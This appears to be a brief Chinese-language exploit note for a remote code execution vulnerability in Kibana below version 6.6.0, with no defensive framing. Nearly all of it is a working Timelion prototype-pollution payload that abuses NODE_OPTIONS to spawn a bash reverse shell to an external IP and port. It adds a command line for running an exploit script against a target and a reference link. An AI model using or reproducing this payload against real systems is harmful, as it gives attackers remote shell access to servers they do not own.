kibana-RCE <6.6.0

• 监听端口

POC：

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.1.27/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

• 执行POC

• 成功反弹shell

脚本使用

python kibana6.6.0RCE.py http://ip:port RHOST RPORT

参考链接

https://github.com/jas502n/kibana-RCE